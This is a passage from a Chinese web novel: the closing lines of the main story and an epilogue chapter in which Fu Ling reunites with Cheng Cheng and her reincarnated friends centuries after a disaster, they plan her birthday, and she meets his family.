林随安一身黑衣,头上带着黑色的鸭舌帽,闻言抬起眼,淡淡道:“是啊,好巧。”
林随遇正准备继续,却突然愣在原地。
他猛地抬头,看到了与他一同停下动作的林随安。
两人双目对视,在对方眼里看见了浓郁的情绪。
他们不约而同地朝着前方奔去。
-
牌桌上。
祝无忧笑嘻嘻地丢下一张牌:“你们又输啦!”
另外几人顿时哀嚎:“不是吧?”
“祝无忧,你怎么学来这么牛逼的技术?”
女孩见她愣住没说话,拍了拍她的肩膀:“想什么呢?”
祝无忧猛地站起身,浑身都在止不住的颤抖。
旁边的女孩吓了一跳,连忙问道:“怎么了?”
祝无忧摇摇头,飞快丢下一句:“我突然有点事,先走了。”
说完,她猛地向外冲去。
-
学校的林荫小道上,喇叭滋滋了两声,女主持人甜美的声音从中传来:
“今天是天雨灾害结束三百五十七周年。”
“三百年前,无数英雄豪杰挺身而出,用他们的性命换来了如今的和平。”
“世上没有奇迹,天灾人祸结束的背后,是无数前辈赴汤蹈火,用他们的鲜血浇灌出来的结局。”
“在那个年代,数千万异能者、无能力者都为了结束劫难失去了宝贵的性命。”
“为表尊敬,我们称他们为,赴难者。”
——全文完——
76. 重聚
程承再三跟大林强调两人认识,并不是一时的见色起意或者要去开房后,大林才一步三回头地独自去了学校礼堂。
伏苓好笑地看着程承:“你不去礼堂吗?”
她的手被程承紧紧握着,汗水浸透了两人的手心。
程承垂眸看她,弯弯嘴角:“之前去肯定没什么,现在记忆恢复了,再去礼堂看他们歌颂我们有点尴尬。还是不去了。”
他将指尖挤入伏苓的指缝,安静地看着她半晌没说话。
“行吧。”伏苓耸耸肩,“这戒指你收着吧,也算是物归原主了。”
她试图把两人交握着的手抽出来那戒指,却没挣得动。
程承凑近了她一些,轻声请求:“不想松开。”
语气跟小猫撒娇似的,伏苓没受得住,偏头笑了一声:“嗯呢,我拿个戒指的时间也不给啊?”
程承笑着将她拉近了些,两人缓缓走在林荫小道上:“你留着吧。”
他侧头,漆黑的眸子一眨不眨地看着伏苓,认真道:“残留在戒指上,我那八年对母亲的思念,早就湮没在这三百五十七年里了。”
“这么确信我想你想了三百多年?”伏苓笑着说。
“嗯,但是——”程承垂着眸,眼眶微微泛红:“我又害怕真的是。”
他抬眼,已经湿润的眸子认真地对上伏苓的眼睛:“对不起。这么多年,你过得——”
他忽地一顿。
后面的那句“好吗”哽在喉间。
怎么可能会好呢?
他唇瓣微微颤抖,尽力抑制着喉间的哽咽:“……可以,说说这些年的事情吗?”
“可以啊。”伏苓没怎么在意,她目光瞥向前方的学校大门,问道:“不过你要去哪?”
“地下之城,”程承说,“这些年,你应该都待在那里吧。”
最后那句他用的是陈述的语气。
“好吧。”伏苓笑了,“我还以为你会带我去看看你现在的宿舍,或者见见家长什么的。”
程承一愣,小声说:“会见的,但是现在我想跟你单独相处一会,等之后再回去,可以吗?”
“行啊。”伏苓说。
两人忽地沉默下来,伏苓沉吟几秒:“这些年发生的事情啊……该从哪里说起呢?”
她思索了片刻,缓缓道:“那就从灾难结束之后吧。我将大部分能量和血肉都还给了大家,但在剥夺与归还的过程中依旧损耗了很多生命力,所以当时的大家都活的不长。”
“第一个去世的是游寂。”伏苓说,“结束后不到两年,他就去世了,有一段时间我很消沉,在地下之城里面闷了很长时间,但幸好,没错过他的最后一面。他没什么亲人,是我送走他的,还有楚河他们。”
程承轻轻地摩挲着她略显冰凉的手心。
“虽然游寂这人吧,没什么道德,但在末世里的那套规则,确实救下了很多丰镐的百姓。”伏苓笑着将两人的手握紧,“当时的葬礼上,很多百姓都自发前来哭丧,很壮观,后悔没录下来给你看看。”
程承笑出了声。
伏苓也笑了,她笑了几瞬,又觉得眼眶酸涩:“可能是人之将死,其言也善吧,这人最后跟我说的话是‘伏苓,你要好好的。’”
“我当时就笑了。再怎么不好,也算是好的。”伏苓轻声道,“后来我跟楚河他们待了一段时间,然后秦晚就去世了。”
程承心脏轻轻一抽。
伏苓轻描淡写道:“也是我送的她。当时冯辉自己苦着一张脸,还讲冷笑话逗我,真是离谱。”
程承红着眼睛,笑问:“什么笑话?”
“他说,”伏苓自己先笑了,“旺旺雪饼热了就会变成旺旺掀被。”
程承笑得肩膀直抖,低下头将额头抵在伏苓的肩窝。
伏苓拍了拍他毛茸茸的脑袋,继续道:“冯辉也走得早,当年能量汇聚的时候,金城的几个人为了拦住感染者离开了无人机的保护区,我接连送走了好几个人,小水的妈妈也很快离世了,不过那个时候小水已经可以独当一面了。”
她感觉到有滚烫的东西落在她的肩窝里。伏苓轻轻揉捏着程承的后脖颈:“哭了?”
程承抽了抽鼻子,抬起头偏过去不给她看,闷闷地说:“没有。”
“好吧。”伏苓又笑,“我想想,之后去世的应该是再一程,那时候郭叔已经离世了,他的朋友为他举办的葬礼。再后来是谢增,我没敢去,站在角落里送走了他。”
程承又用红彤彤的眼睛看她:“因为随安吗?”
伏苓沉默了片刻,摇摇头:“不能这么说。我是怕见到她,怕她又想起不好的事情,所以一直没敢见她。谢增也是,我也怕看到他,军区高层的人都知道这场灾难的原因,他也知道。他跟随安一样,不会怪我,但我还是怕。”
她平静的语气终于多出来些许凝滞:“但我又觉得,不能因为我自己的心结,就不跟他们见面吧?所以我尝试过去找随安,但……”
她自嘲地笑:“临到阵前,我又逃了。”
程承咬着唇,泪水滴落下来,他笑着调侃:“这不像你。”
“是啊,我也觉得。”伏苓看着他,伸手帮他把眼泪擦去,“因为那瓶药水,随安活的时间比大部分要长,是军区最核心的高层之一。在此期间,方休和楚河相继离世。”
“他们仨都是名声很大的英雄,葬礼人很多。”伏苓无奈地笑了,“我在角落里走完了流程,最后也是自己一个人悄悄地离开。”
“你也是名声很大的英雄。”程承说。
伏苓看着他笑:“如果大家知道灾难的真相,我就不是英雄了。”
“不是的。”程承摇头,坚定道:“你是这场灾难中最特殊的人,像楚河他们这种聪明人,肯定早就猜到你跟雨灾有着密切的联系了,但他们还是坚定不移地站在你身边,不是吗?”
伏苓愣了一下,喃喃:“是吗。”
两人走走停停,很快到了地下之城。
离Z大很近,近到程承一路上都在懊恼自己为什么没有到处走走早些遇到伏苓。
伏苓轻轻哼笑一声,推开了门:“放心,就算你一天在这逛一百次都见不到我。我不出门的。”
这里还是原本的模样。
伏苓体内残存的能量还能勉强再使用些许异能,将之前的小木屋入口和地下之城放进了异空间内。
伏苓解释:“要是一动不动,早就被说成违章建筑给拆了。”
小小的花圃里,秋英长成一片。
程承看着它们出神:“居然还活着……”
伏苓笑他:“嗯呢,方休之前还常来浇浇水铲铲土什么的,后来我就一个人照顾它们。”
天花板上的眼球缓缓下降,眨巴着眼睛看着程承。
程承挥了挥手:“嗨~”
眼球弯着眼皮晃了晃,算是打过招呼了。
“进来吗?”伏苓推开了那间熟悉的小木屋,转头看他。
“来了。”程承快步上前。
屋内还是之前的陈设,没什么变化,看上去,伏苓也不常在屋子里待着。
他坐在了曾经坐过的沙发上,安静地看着伏苓的背影。
伏苓倒了杯茶,走过来坐在他身边:“三百年的老茶,能喝吗?”
两人对视,半晌后各自笑出了声。
程承笑着说:“应该是不能了。”
“那完了。”伏苓将茶杯拍在茶几上,“没东西招待你,怎么办呢?”
程承安静地看着她,轻轻摇头:“不用招待。”
伏苓抬眼看他。
那双依旧漂亮的黑眸中,藏了太多太多她看不起道不明的情绪。
曾经她总觉得这双眼睛像一口深潭,如今却只像一坛酿了多年的陈酒。
内里的情绪太深太重,伏苓有些受不了了,抬手遮住他的眸子:“别看了。”
程承覆上她的手,拉到唇边轻吻。他抖着睫毛,轻声说:“对不起。”
伏苓呼吸颤了几分,她扯了扯唇角:“有什么对不起的,你已经说过很多遍了。”
“不够的,”他摇摇头,眼泪顺着脸颊滑落下来,像断了线的珠串,他唇瓣贴着手心,说话时的呼吸都尽数喷洒在手心上,“怎么说……都不够的。”
他又将手指挤入伏苓的指缝,凑上去,吻住了她的唇瓣。
不是满含欲望的深吻,不是充满□□的前戏,只是轻轻的唇瓣贴着唇瓣,像两头互相舔舐伤口的小兽。
他握紧伏苓的手,另一只手抚上她的脸颊。
泪水打湿了指腹,他的唇瓣缓缓移到了眼泪落下的地方。
咸的。
也可能是苦的。
他第一眼见到的,那个狡黠跳脱的姑娘,终于在数百年的蹉跎中染尽苦楚。
他也忍不住哭,泪水跟指腹上的那滴泪混在一起。
手掌穿过伏苓的发丝,摁在她的后颈。
他将自己心疼得快要疯掉的女孩抱在怀里。
-
“那个……”血兔的声音突然出现,“虽然我不是很想打扰你们,但是,外面有人来了。”
程承松开伏苓,两人鼻尖对着鼻尖,呼吸缠绕。他轻轻抚了扶伏苓的脸颊,又缠绵地在她鼻尖落下一吻。
之后才瞥了血兔一眼。
血兔抖了两下,默默地开始藏它的兔头。
急,碰到抛弃了的前任主人怎么办?
伏苓缓了缓情绪,挥手打开屏幕,露出了外面的场景。
祝无忧探头探脑:“诶,我记得是在这啊。”
身后两个高高瘦瘦的身影一言不发,一身黑的女孩带着压得极低的鸭舌帽,看不清容貌。
但伏苓还是一眼认出了他们。
她抿了抿唇,打开了三人面前的门。
祝无忧看着眼前突然出现的门惊喜地叫了一声:“你看你看,我就说我没找错吧!”
林随安没有回话,大步流星地跨了进来。
林随遇抱着臂笑了一声:“嗯嗯嗯,真厉害。”
祝无忧白了他一眼,又小声问道:“随安怎么了?你又惹她不高兴了吗?”
林随遇的笑容淡下去,他摇摇头:“没有。”
伏苓缓缓走出屋子,站在门口看着几人进来。
祝无忧隔老远看到她,眼泪立马掉了下来,哭着跑过去:“伏苓呜呜呜!”
但她没想到,有人比她更快。
林随安大步跨到伏苓身前,一把抓住了她的衣领,拳头高高举起。
祝无忧傻在原地:“诶……别,别打架啊……”
伏苓安静地看着藏在鸭舌帽下的那双眼睛。
林随安死死咬着牙,眼眶通红,手臂不知是因为发力还是因为情绪的激动而微微颤抖。
她从牙缝里挤出几个字:“伏苓,你真没良心。”
伏苓轻声道:“抱歉。”
“别跟我说抱歉。”林随安狠狠地将拳头甩下,眼泪哗啦啦地掉下来,“你是人吗?说想要一个人待着,你就一声不吭地几十年没见我,你知道我——”
她哽咽着,抬手狠狠擦去了脸颊上的泪水,颤抖着说:“我去过丰镐,去过梁州,荥城、金城我都去了,我还去临安找到了方休,问他们有没有见过你。你真是个混蛋,你不愿意见我。”
最后那句话,她是咬着牙说出来的。
林随遇深呼吸,看向伏苓:“抱歉,是我的错。我早该告诉随安药水的事情的。”
“你给我闭嘴!”林随安又指着林随遇骂,“你也是混蛋,这么重要的事情瞒着好玩吗?你知不知道我当时多崩溃多绝望?!”
林随遇摸了摸鼻子,小声:“对不起。”
祝无忧缩着脖子:“我也要被骂吗……”
林随安还没来得及说什么,就被拉入了一个温暖的怀抱。
她微微顿住。
伏苓将下巴搁在她的肩膀上,声音微微哽咽:“抱歉,是我……死脑筋了,我太胆小了。”
林随安的眼泪又掉了下来,她抱住伏苓的腰身,哭着说:“你知道我那么多年有多想你多害怕吗?你怎么舍得……”
看着两人哭得起劲,祝无忧也哭唧唧地拱到了两人中间:“我也想你们。”
程承叹了口气,跟林随遇对视一眼,拍了拍他的肩膀。
林随遇也跟着叹了口气,又笑着说:“但是,结果是好的,不是吗?”
程承弯眼,眸色中满是庆幸:“嗯。”
林随安抽着鼻子松开伏苓,缓了会才扫视周围:“这哪?我也要住这。”
祝无忧连忙举手:“我也要我也要。”
周围屋子挺多,但都很久没人打扫过了。伏苓甚至不怎么进她自己的小屋子里,想想也能知道其他那些屋子都破旧成什么样子。
“随便选吧,你们自己收拾。”伏苓说,“诶,你们不回去没事吗?”
祝无忧纠结了两秒:“我家离这还挺远的……但是我得先要一个房间,感觉之后这里会人满为患。”
伏苓:“??为什么?”
“我们的记忆恢复了,你觉得其他人能不一样吗?”林随安随手开了一扇门,被皮面而来的灰尘呛了一下,她扇了扇,“我和哥哥在集庆那没什么亲人,在这定居也没问题。”
伏苓虽然可以通过红线观察到所有人的情况,但她向来不会侵犯别人的隐私,所以说起来,她对林随安他们的情况也只是大概了解,只是偶尔会关注一下。
听到这句,她好奇道:“你们俩这辈子还是兄妹?之前几世好像不是呢。”
林随遇的动作一顿,打着哈哈:“这一世也不是啦,但是记忆恢复了还是习惯之前的关系。”
几人在四处逛了逛,祝无忧又招呼着大家出门买了一堆吃食,在闲聊中夜色深沉。
正如他们所料,在伏苓与程承相见的那一瞬间,无数人愣愣地停下了手中的事情。
厚重的夜色中,车辆、高铁、机场的灯光整夜亮着。
从天边俯瞰,宛若点点星光朝着临安汇集。
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程承被祝无忧捂着嘴拉进一家饭店的时候人都是懵的。
程承:“额,那个……”
祝无忧压低声音,比了一个嘘的手势:“你小点声。”
程承:“……”
“好吧。”他顺从地压低声音,“这是要带我去哪?吃饭不喊伏苓吗?”
祝无忧嘿嘿一笑:“先不喊,你等会就知道了。”
她拉着程承快步向前,推开了角落里的包厢门。
一瞬间,门内嘈杂的声音在一瞬间寂静。
十几双眼睛眨巴眨巴地看着来人。
程承微微顿住。
林随遇跑过来,朝着门外看了看,压低声音问祝无忧:“没被伏苓发现吧?”
祝无忧拍着胸脯,小声保证:“放心!我专门趁着程承刚下课的时候去抓他的,伏苓不在!”
程承也跟着用气音问:“到底要干什么啊?”
他一眼看去,全是熟悉的人,谢增,再一程,楚河,游寂,秦晚……还有一群之前在路上见过的他记不清名字的熟悉脸庞,一时间没搞懂这些人想干什么。
夜袭临安??
谢增也凑过来,小声说:“先关门先关门。”
包厢门被轻轻关上。这家店的隔音效果很好,关上门窗后内外的声音都传不过去,是个聊秘密的好地方。
林随遇继续小声说:“是这样的,伏苓不是下周过生日吗?我们准备给搞的大的!”
程承立马明白了,他微微低头,跟祝无忧他们的脑袋凑到一起:“下个星期?今天都周五了,她生日周三啊。”
祝无忧小声叫嚷:“所以事情才非常紧急嘛!”
“好吧。”程承继续小声。“我还有一个问题。”
林随遇点点头,严肃:“你说。”
程承:“我们要一直这么小声地说话吗?”
林随遇:“……”
祝无忧:“……”
林随遇直起身,轻咳了两声,拉开空位让程承坐:“人到齐了?那我们先说一下大致的计划。”
程承的左边坐着楚河,两人对视一眼,互相点了点头。
林随遇撑在桌子上:“我们的目标是给伏苓过一个完美的生日,鼓掌!”
“啪啪啪”。
祝无忧非常捧场地拍起了掌,像一只小海豹。
“能说点有用的不?”游寂微笑。
“还是我来吧。”林随安叹了口气,接过话头,“相信大家都已经知道这些年发生的事情了,伏苓一个人度过了三百多年的孤独时光,既然我们恢复了记忆,就没到底再让她一个人孤孤单单过生日的道理。”
谢增插嘴道:“对,她应该是我们的英雄,英雄不该落入如此境地。而且据我所知,她一直觉得雨灾的发生有她的一份责任,所以之前她始终不敢来军区。我想,我们应该明确地向她表示我们的真实想法。”
“所以周三之前我们都不能跟她见面?”楚河眉宇间多出了些许烦躁,“准备生日惊喜跟和她见面有什么必要联系吗?”
“可以理解,我们这么多人,一人聊一句都得一天,让她歇会吧。”秦晚瞥了楚河一眼。
“哎呀别说这些没用的了!”祝无忧都快站到桌上了,“快说说你们怎么打算的?”
屋内闹哄哄的,你一句我一句吵得人头疼。林随安摁了摁太阳穴:“大家先安静一下,我们的初步想法是把地下之城收拾一下,起码有点人情味,现在那边看上去跟废墟一样。”
“打断一下。”游寂靠在椅背上,笑眯眯道:“听说那边有很多空房子,我们应该可以住吧?”
秦晚瞥了他一眼,淡声道:“这事得问过伏苓意见吧。”
林随遇终于插上一句嘴:“应该可以,我们几个已经挑好了。”
“打扰一下,我也需要一间。”楚河见缝插针。
秦晚冷笑:“我也要。”
游寂紧随其后:“说的谁不想要一样。”
屋内又开始争吵起来,就“谁可以拿下距离伏苓最近位置的屋子”展开激烈的角逐。
祝无忧眨眨眼睛,戳了戳程承:“你有没有觉得伏苓人气太高了。”
程承礼貌微笑:“是的呢。”
但是他有正宫的气度。
所以程承冷静开口:“但是伏苓一般不会离开地下之城,我们怎么在不惊动她的情况下收拾地下之城?”
“这就需要你的帮忙了。我们希望你可以带着伏苓出去做一些事情,比如……”林随安微笑着看他,意味深长道:“见见家长什么的。”
程承短暂地大脑宕机,慌乱地眨眨眼睛:“……哦。可以。”
包厢里突然没人说话了,所有人的目光都暗搓搓地瞪着程承。
楚河缓缓转着茶杯,转头扯了扯唇角:“恭喜。”
程承回以微笑:“谢谢。”
“咚咚”。
包厢门被忽地敲响,所有人下意识绷紧了神经,紧张地看着大门的方向。
不会是伏苓吧?
如果真是她,他们该怎么解释一群人聚集在这菜也不点茶也不上的干聊天?
林随遇走了过去,谨慎问道:“谁?”
“是我。”门外传来一到男声,儒雅好听。
祝无忧跳起来去打开了门:“方医生,你来啦!”
方休一身休闲装,站在门口朝大家打了一声招呼。
祝无忧解释道:“是我联系的方医生啦,刚刚忘记了,还以为人到齐了呢。”
方休走进来,林随遇顺手带上了门,将自己的座位让给他。
方休道:“我大概知道你们的计划了,如今科技成熟,我或许可以帮忙做一些虚拟化的装扮。”
楚河点头:“嗯,我们也可以在地下之城里的空地上建上一个小花园,或者是类似公园的存在。”
“还可以建一个温泉。”游寂补充。
“喂。”元真皱着脸,“这东西五天可建不起来。”
游寂摊开手:“可以放进长期计划里嘛,也没说非要作为生日惊喜啊。”
“如果是这样的话,”冯辉摸摸下巴,“那我们也可以造一个游乐园。”
林随遇:“……这个是不是有一点太夸张了呢?”
一群人又就“长期计划中的宏大建筑群”再次展开激烈的讨论。
程承看了看时间,起身把座位让给林随遇,跟大家道别:“你们慢慢细化吧。我还跟伏苓约了晚饭,就先走了。”
讨论声又在一瞬间消失殆尽。
楚河微笑:“好的。”
“等她离开地下之城,我再告诉大家。”程承顿了顿,掏出手机,“对了,我们加个群吧,好及时对接信息。”
一桌人面对面建了群,方休朝着程承挥挥手,笑道:“带她在你家多呆几天啊。”
“哦,知道了。”程承冷酷回应,耳尖却已经开始微微泛红。
等他走了之后,包厢内还沉浸在安静的氛围中。
林随安扫了一圈,从桌底掏出菜单:“还是点几个菜吃吃吧。”
-
“见家长?”伏苓有些错愕地看着程承,“这么……突然吗?”
程承红着脸挠挠头,一会看天,一会看地,一会又盯着墙皮,小声说:“想……快一点。”
伏苓笑出了声,从屋顶上跳了下来,凑到程承面前盯着他看了半晌。
程承抿着唇,一双漂亮的眼睛慌张地看向伏苓:“怎、怎么了?”
伏苓直起身,下了定论:“你有事瞒我。”
“我……”他无力地解释,“没有……吧?”
伏苓若有所思地绕着他转了一圈,给程承紧张地狂眨眼睛。最后还是放过了他,伏苓大发慈悲道:“行吧。所以你是准备晚上去你家吃?”
程承点点头,:“我已经跟家里说过了,他们都做饭了。”
“好吧。”伏苓说,“你家在哪?”
-
程承家离得不远,在临安的另一个区,地铁坐了四十分钟。
伏苓靠在地铁车门上,挑眉看着程承不知道在给谁发消息。
等他将手机塞回口袋,伏苓才悄悄凑到他耳边:“做贼呢?”
程承吓了一跳,回过神来小声埋怨:“吓到我了。”
伏苓笑了一声:“你要是不做贼也不可能被吓到。”
两人下了地铁,走进小区的时候,程承才后知后觉地紧张起来。
伏苓看着他耳尖通红的模样,笑着打趣:“怎么搞得跟你要见家长一样,现在不应该是我紧张吗?”
程承看着她抿了抿唇,凑近她耳侧,“一想到你是以我……女朋友的身份回家,我就有点害羞。”
他整个耳尖都红了起来,看上去格外可爱。
伏苓笑着揉了揉他的耳朵,继续逗他:“可是要是这样的话,你是不是应该换个称呼?哪有人直呼女朋友大名啊。”
程承微微顿住,思索了半天,才轻声道:“那……宝宝?”
两人脚步一顿,相对看了半天,又噗呲一声笑了出来。
伏苓靠在他手臂上,捂着脸笑:“好奇怪的称呼。”
“哪里奇怪了?”程承也没忍住笑出声来,“大家都是这么叫的啊,习惯习惯就好了。”
“不行不行。”伏苓摇头,“这称呼我受不来,你还是换一个吧。”
“好吧。”程承笑着紧了紧两人交握着的手,“小苓?”
他记得,伏苓的父母就是这么喊她的。
伏苓又笑了,她偏过头:“还是别了。”
可程承分明瞧见,她耳尖上泛起了微微的红。
两人晃晃悠悠到了程承家门外,他轻咳了一声,抬起手准备敲门。
“欸等等。”伏苓突然出声。
程承转过头,有些不解地看着她:“怎么了?”
伏苓抿了抿唇,小声道:“我突然,也有点紧张了。”
想到自己即将见到程承的父母,说实话,她有些不知怎么面对。
程承笑着捏了捏她的脸颊,调侃道:“刚刚还笑我?”
“这哪能一样?”伏苓瞪他,“你那本来就该被笑。”
她想了想,问道:“我记得见家长好像是要买点见面礼的,我忘记了。”
程承垂着眸看她。
楼道灯光泛黄,暖色的光亮温柔地洒在她的身影上,照亮了她微微蹙起的眉头。
在程承面前,伏苓一直都是强势的,嚣张的,蔑视一切的。
但居然在今天的这件微不足道的小事上,她表现出了一个普通女孩的情绪。
他低着头闷笑,吻了吻伏苓的额头,轻声道:“笨,不用担心。我父母不在意这些。”
伏苓看着他,心中莫名的焦躁散去了些,点头应道:“好。”
程承笑着揉揉她的发丝,抬手敲响了屋门。
-
与此同时。
一群人搬着乱七八糟的东西进了地下之城。
大眼睛缓缓下降看着他们,一眼迷惑。
方休冲它打了个招呼:“好久不见。”
大眼睛上下晃了晃,弯着眼皮笑得开心,然后隔空跟在方休身后。
楚河戴上防尘口罩,声音从口罩后面传出来:“先打扫一下每个屋子吧。”
说着,他率先走到伏苓那件屋子旁边的小木屋边:“这个就归我了。”
其他人:“???”
游寂咬牙切齿:“狗东西你抢跑?”
他一溜烟冲过去开始抢另外一间离得近的屋子,却被祝无忧一把拉住。
游寂恶狠狠转头:“干什么?”
祝无忧小声:“这个是我的。”
游寂瞪大眼睛:“你凭什么搞特权?”
祝无忧骄傲:“我来的快啊,这就叫近水楼台先得月~”
游寂:“……”服了。
-
程父程母笑呵呵地将两人迎了进去。
不过伏苓没想到,里面还有一个人——程承的哥哥,程商。他身材高挑,眉眼和程承有七八分的相似,但气质要更冷一些。他系着围裙站在厨房门口,朝着伏苓点了点头。
伏苓微微愣神,侧头对程承小声道:“你也没说你哥这么帅啊。”
程承的脸立马耷拉下来了:“什么嘛。”
程母笑呵呵地拉着伏苓的手,将她带到沙发上:“乖乖这么漂亮,怎么看上我儿子的呀?”
程承:“……?”
妈你说的是人话吗?
程父站在沙发前面,有些拘谨地冲着伏苓点了点头,招呼她坐下。
程承坐在伏苓身侧,跟她紧靠着。
程母眉梢都带着笑意:“对咯乖乖,你家在哪里呀?”
闻言,程承顿了一瞬,刚想出言解围,就听见伏苓不紧不慢地说:“也在临安,Z大旁边。”
“哎呦那真不错呀。”程母越看伏苓越满意,又笑呵呵地地:“那你现在多大呀?”
伏苓:“……”
她求助地看向程承,程承立马道:“比我小一岁。”
“哦哦哦。”程母点点头,又问:“那你也上大学了吧,在哪个
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学校呀?”
伏苓:“……”
她又看了程承一眼,程承继续胡扯:“跟我一个学校的,小我一届。”
“我问小苓你插什么嘴?”程母瞪了程承一眼。
程承:“……我占有欲太强了,就想帮她回答。”
伏苓没忍住偏头笑了。
程母:“滚滚滚。”
程父适时插嘴:“小苓你不要紧张啊,我们就是随便问问。你们恋爱我跟他妈妈肯定是双手双脚赞成的呀。”
伏苓乖巧点头:“好的。”
“爸,妈,别总问人家了,我菜烧好了,该你们了。”程商从厨房里走出来,将围裙挂在餐桌椅背上,朝着沙发走来。
“诶,好勒。”程母念念不舍地拉着伏苓的手,“乖乖再等一下啊,阿姨去给你做我的拿手好菜。”
程承剥了个橘子递给伏苓,小声道:“今天回家的计划有点急,没来得及跟他们说你的情况,等之后我再解释一下,他们应该就不会再过多追问了。”
伏苓点点头。
等程父程母都进了厨房,程商才坐在伏苓对面的单人沙发上,淡声道:“不用紧张,之前的记忆我也恢复了。”
伏苓轻轻挑眉:“那叔叔阿姨呢?”
程商摇摇头:“看样子应该是没有的,我也不太懂记忆恢复的前提条件。”
程承好奇道:“那你也不应该知道伏苓啊,她是八年后才显露名声的。”
程商:“不巧,我电脑技术还可以,调出了当年的论坛,所以对后面发生的事情还算了解。”
他顺手倒了杯茶递给伏苓:“还有就是,我见过你的父母。”
伏苓伸手接过茶水的动作一顿。
“你是说沈文乔他们?”程承皱眉,“现在还是之前?”
“之前。”程商安静地举着茶杯等伏苓接过,“当时沈文乔是临安的风云人物,高考状元,P大尖子,在生物学界有着不小的声望,但后来被当地的太子爷搞了,污蔑她剽窃她人成果,她也解释不清,后来就销声匿迹了。”
伏苓接过茶水,这次应该不是过期的茶叶了。她垂着眸:“是吗。”
程承握紧了伏苓的手,问:“我怎么不知道?”
程商瞥了他一眼:“那时候你还没出生。”
“哦。”程承问,“然后呢?”
“然后?后来我没怎么关注,是刚刚恢复记忆后才去查找的当年资料。幸好国家很重视灾难之前的数据,几乎将被损毁的数据都恢复了。”他顿了顿,“你的父亲伏怀,也是当年P大的尖子生,低沈文乔一届,是她的忠实拥护者。当年科学界对沈文乔口诛笔伐的时候,只有他站在沈文乔身边,最后跟她一起没了消息。”
伏苓垂着眸喝了口茶,瞳孔却没有聚焦。
程商安静地注视着伏苓:“上午我还在附近见过他们,你要去见一面吗?”
客厅内安静了一瞬。
伏苓摇摇头:“算了吧。”
“乖乖,菜做好啦,快去洗手吧。”程母打开门喊了一声。
程承应道:“好。”
“我想说的也就这些。还有就是,不急的话,你可以在这里待几天,家里客房还算多。”程商站起身,看向伏苓,“还是说,你跟程承睡一间?”
程承:“……你先别管。”
“好吧。”程商笑了笑,“随你们。”
程商又去厨房帮忙了。程承牵过伏苓的手,轻声问道:“没事吧?”
伏苓摇摇头:“没事。很久之前的事情了,我也没必要再纠结。但是……”
她顿了顿,程承问:“怎么?”
伏苓抬起眸子看他:“如果,我还是不想见到他们,你会觉得我……没良心什么的吗?”
程承看着她,半晌后笑着揉了揉她的脑袋:“笨。”
他叹了口气:“原谅是一件很难的事情,但是,给自己不原谅的权利要更加困难。”
“你所受的伤害不比他们少。”程承轻轻吻了吻伏苓的指尖,“所以,不要自责。”
-
程承半哄半骗地拉着伏苓在他家住了几天。
当然,伏苓愿意待在这里更大原因是程承的家人都对她很好。
程承找了时间跟父母解释了一下伏苓的家庭情况,伏苓不太清楚他怎么说的,总之自那以后程父程母就没有在她面前问过她的家庭情况。
晚上程母还会端着热好的牛奶敲响她的房门,一脸怜惜地握着她的手:“乖乖要多吃一点哦,你看你这瘦的呀。”
伏苓最开始对他们向自己释放的善意还有些不知所措,慢慢地也逐渐开始适应、接受。
在冰冷的地下之城孤独待了数百年,她早就不知何为温暖,何为热闹。但料是百年前的她也没有想到,她居然会在这里,终于触碰到了自出生起就没有感受到的爱意。
与此同时,地下之城的重建也慢慢接近尾声。
楚河将一块沉重的木头缓缓竖起,一时不查险些歪倒在地,紧急之下,一双手稳稳地扶住了另一端。
再一程朝着楚河微微点头,沉声:“小心些。”
楚河将木头竖好,礼貌道:“多谢。”
方休瞧了瞧伏苓的房门:“出来呗。”
屋门安静了两秒,被拉开一条缝隙。血兔露出一只眼睛:“干什么?我没给伏苓通风报信啊。”
“如果是为了这事的话,我四天前就会来找你了。”方休笑得温良:“残存的异能应该都在你体内吧?帮忙把天花板抬高一点。”
血兔竖起耳朵,炸毛道:“我又不是装修工人!再说了,哪有用异能做这种事的?简直就暴殄天物!”
“话不能这么说。”方休说,“现在世界和平,你这异能当然要用在百姓身上吧?”
血兔:“……”
它眨了眨豆豆眼,瘪嘴:“行吧。”
天花板缓缓上移到了方休想要的高度。
方休满意地点点头:“真不错呢,小兔子。”
小兔子:“……”
一旁的秦晚拉着祝无忧往外走:“临安有什么好吃的没?伏苓晚上回来我们去买点吃点一起啊。”
祝无忧一言难尽地望天,半晌后说:“临安的好吃的……要不买点麦当当?”
秦晚:“……”
她忽然意识到他们几个似乎漏掉了一件非常重要的事情。
秦晚立马拍拍祝无忧的肩膀转头喊楚河:“喂,晚上吃啥?”
祝无忧挠挠头,忽地听到大眼睛朝她道:“门外有人。”
她立马警觉起来,看了眼外部监控。
不是伏苓,是一个看上去才十七八岁的男生,有点眼熟,
祝无忧往门口走去:“这谁啊?”
“我跟你一起吧。”再一程追上她,两人并肩走到门口打开了门。
门被拉开,外面的男生看到祝无忧微微一顿,笑着问:“姐姐还记得我是谁吗?”
祝无忧眨眨眼睛,越看越觉得熟悉:“有点眼熟,你是……”
再一程瞥了一眼男生,默不作声地靠近了祝无忧一些。
男生笑得爽朗:“哎呀,我是小水啊。”
“啊!”祝无忧恍然大悟,这么看上去男生的眉眼跟小水的确很像。不过当年吃不饱穿不暖的,如今相差还是很大。
祝无忧拉着他进来,问道:“诶对了,所以你到底叫什么名字啊?”
小水笑道:“忧忧姐当时猜的不错,就是淼,我姓庄,庄淼。”
祝无忧夸道:“好听好听。”
秦晚正巧跟冯辉一同往外走,看到小水,哦不,庄淼一脸惊喜:“小淼来了?”
庄淼乖巧点头:“嗯,晚姐,冯叔,好久不见。”
冯辉笑呵呵地揉揉他的脑袋:“哦对了,我们要去买点锅碗瓢盆还有食材什么的,一起去吗?”
庄淼连忙点头:“好啊好啊。”
庄淼转过身想跟祝无忧打声招呼,却没想对上了再一程的视线。他莫名感到了敌意,挠了挠头,小声道:“额,那,忧忧姐我先走啦?”
“好,拜拜!”祝无忧挥挥手。
庄淼小心瞄了一眼再一程,跟着秦晚他们离开了。
“别看了,大门都关上了。”祝无忧猛地回神,瞪了一眼再一程。
再一程低声道:“盯着人家干什么?”
祝无忧傻笑两声:“没想到小水长得还怪好看的。”
再一程的脸更黑了。
-
伏苓慢吞吞地跟程承走在路上。
天色已经暗下来了,街道上没什么人。
早春的夜晚还有些凉,但伏苓似乎不怎么怕冷,只穿了一件修身的内衬,外面套了个黑色的长袖。
程承握着伏苓的手拉进自己的口袋里,好奇道:“冬天冷的话,地下之城能开空调吗?”
伏苓耸耸肩:“当然是不能的。不过也没什么关系,我现在这个情况感知不到多少冷热。”
程承哦了一声,沉默了片刻才道:“那我就按我觉得你冷的标准来对你了。”
伏苓好笑地看他:“行吧……对了,怎么这么晚了还要回地下之城?”
